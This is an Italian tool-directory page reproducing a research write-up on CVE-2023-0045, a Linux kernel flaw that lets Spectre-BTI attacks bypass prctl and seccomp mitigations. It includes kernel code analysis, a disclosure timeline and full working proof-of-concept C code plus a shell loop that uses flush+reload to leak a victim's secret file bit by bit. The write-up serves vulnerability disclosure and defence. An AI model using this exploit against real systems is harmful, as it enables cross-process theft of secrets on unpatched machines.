Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-0045 — Analisi tecnica e proof-of-concept che dimostrano un bypass delle mitigazioni user-space di Spectre-BTI del kernel Linux tramite prctl e seccomp, con un exploit side-channel flush+reload. | Kitploit
Strumenti/GitHubGitHub/askyeye/cve-2023-0045
Analisi delle VulnerabilitàExploitSicurezza HardwarePaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

Analisi tecnica e proof-of-concept che dimostrano un bypass delle mitigazioni user-space di Spectre-BTI del kernel Linux tramite prctl e seccomp, con un exploit side-channel flush+reload.

Vedi Repository
343 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Bypass delle mitigazioni Spectre-BTI dello spazio utente su Linux

Questo è un documento di lavoro, inviateci feedback se pensate che abbiamo sbagliato qualcosa o se abbiamo omesso una citazione

Versione 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

Introduzione

Quando testavamo il tasso di successo degli attacchi Spectre-BTI, abbiamo rilevato uno schema strano nell'utilizzo dell'API del kernel come mitigazione1. I nostri test hanno rivelato che il kernel Linux non mitiga correttamente l'attacco, lasciando il processo esposto per un breve periodo dopo la syscall.

Ulteriori indagini hanno mostrato che il kernel non emette un IBPB immediatamente durante la syscall. La funzione ib_prctl_set2 aggiorna i Thread Information Flags (TIF) per il task e aggiorna il MSR SPEC_CTRL nella funzione __speculation_ctrl_update 3, ma l'IBPB viene emesso solo al successivo scheduling, quando vengono controllati i bit TIF. Questo lascia la vittima vulnerabile a valori già iniettati nel BTB, prima della syscall prctl. Il comportamento viene corretto solo dopo un re-scheduling del task. Inoltre, l'ingresso nel kernel (a causa della syscall stessa) non emette un IBPB negli scenari predefiniti (cioè quando il kernel si protegge tramite retpoline o eIBRS).

La mitigazione prctl

Eseguire un prctl per mitigare gli attacchi spectre-BTI usando: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); porta alla funzione ib_prctl_set2 sul kernel 5.15. Quando viene utilizzata l'opzione SPEC_DISABLE viene impostato il bit TIF per task_set_spec_ib_disable e viene chiamato task_update_spec_tif:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable chiama set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); e se il task target è quello corrente chiama speculation_ctrl_update_current();

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update_current dopo il wrapper speculation_ctrl_update esegue __speculation_ctrl_update con tifp = ~tifp, qui viene eseguito l'aggiornamento del wrmsr per impostare lo STIBP ma non viene emesso alcun IBPB:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

La syscall seccomp utilizza anch'essa ib_prctl_set2 come mitigazione, all'interno di arch_seccomp_spec_mitigate4, quindi lo stesso risultato è previsto con seccomp.

Test

Sebbene dall'analisi del codice fossimo certi che la finestra per sfruttare l'attacco esista, non era chiaro se fosse abbastanza grande da permettere alla vittima di caricare segreti e all'attaccante di esfilarli (poiché ci si aspetta che i segreti non siano nello spazio degli indirizzi della vittima fino a quando la chiamata prctl non viene emessa). I test sono stati eseguiti su una macchina bare metal con supporto per mitigazioni hardware, con una installazione di ubuntu 22.04.1 LTS:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

Il codice di test consiste di due processi che eseguono sullo stesso core logico. L'attaccante avvelena costantemente il BTB con l'indirizzo di un gadget spectre presente in un processo vittima. Il processo vittima misura il tasso di predizione errata controllando se una variabile di test è stata acceduta dalla funzione gadget spectre. Questo solitamente produce il seguente output:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

Quindi, viene utilizzato PRCTL per mitigare l'attacco. La mitigazione può essere abilitata aggiungendo prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); all'inizio del programma. Questo dovrebbe mitigare l'attacco spectre-BTI:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

Tuttavia, alcuni test hanno mostrato un risultato diverso:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

E cambiare la 'nice' (priorità) sembra influenzare il tasso di predizione errata:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

Questo indica che prctl ha protetto il processo solo dopo il successivo scheduling, come compreso dall'analisi del codice. Un altro comportamento strano di questo test è che dopo un ramo errato, il percorso speculativo dovrebbe essere corretto e il valore vero deve essere scritto nel BTB. Poiché non ci sono altri attaccanti sul thread fratello per riavvelenare il BTB, valori così alti di predizione errata sono inaspettati.

Proof of Concept

Per assicurarci che non si trattasse di un errore di misurazione abbiamo creato un semplice POC. Il codice della vittima esegue sempre una safe_function tramite un puntatore a funzione che è vulnerabile a un attacco spectre-BTI. La vittima richiede al kernel di proteggersi usando la syscall prctl (all'interno di protect_me). La vittima carica anche un segreto da un file di testo, mostrando che anche altre syscall non controllano il bit TIF né provocano un re-scheduling che forzerebbe un IBPB.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

La maggior parte delle funzioni libc sono state inserite in un header comune tra attaccante e vittima in modo che la funzione spectre_gadget e spec condividano gli stessi indirizzi di memoria sia nella vittima che nell'attaccante (altrimenti viene creata una voce .GOT e gli indirizzi cambiano). Questo non è un requisito e ci sono altri modi per posizionare i rami agli stessi indirizzi e mimare il contesto della vittima, ma questo metodo è più semplice.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

L'attacco consiste nell'avvelenare il BTB chiamando la funzione spec e facendola ramificare a spectre_gadget invece di safe_function. Dopo l'addestramento, il processo vittima viene creato ed esegue spec che fa una predizione errata verso spectre_gadget, che non dovrebbe mai essere eseguita. Il segreto viene esfiltrato attraverso un classico canale laterale flush+reload.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

Poiché la vittima riceve un argomento che può essere usato per scegliere il bit da esfiltrare attraverso il canale laterale, possiamo eseguire il processo vittima più volte mentre l'attaccante è in esecuzione:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

Questo produce il seguente file di testo:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

Si noti che i bit 0 e 6 sono 1, quindi il primo carattere deve essere 0x41('A'). Analizzando il file con un semplice script python si ottiene: The secret leaked is: b'Asuper_secret_flag' Che è esattamente il contenuto presente in secret.txt usato dalla vittima.

Cambiare la chiamata prctl con seccomp usando syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); dopo aver caricato il segreto non impedisce l'attacco. Questo è previsto poiché internamente entrambi usano la stessa funzione ib_prctl_set per implementare la mitigazione.

Conclusione

L'attuale implementazione della syscall prctl per il controllo speculativo non riesce a proteggere l'utente da attaccanti che eseguono prima della mitigazione. Anche la mitigazione seccomp fallisce in questo scenario.

Mitigazioni

Per applicazioni in spazio utente, un usleep dopo la chiamata prctl è sufficiente per forzare un re-scheduling e garantire la corretta mitigazione. Una possibile patch del kernel per questo attacco è emettere l'IBPB contemporaneamente all'impostazione dello STIBP, in __speculation_ctrl_update 3 o chiamare schedule().

Cronologia

  • 27 dicembre 2022 - Comportamento inaspettato di prctl rilevato

  • 29 dicembre 2022 - Prima versione di questo documento

  • 31 dicembre 2022 - Condiviso con il team di sicurezza del kernel Linux

  • 03 febbraio 2023 - Report divulgato pubblicamente: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

Riferimenti:

Footnotes

  1. "The Linux kernel user-space API guide: Speculation Control". Link: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. "Linux Source code" Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩

Scarica lo strumento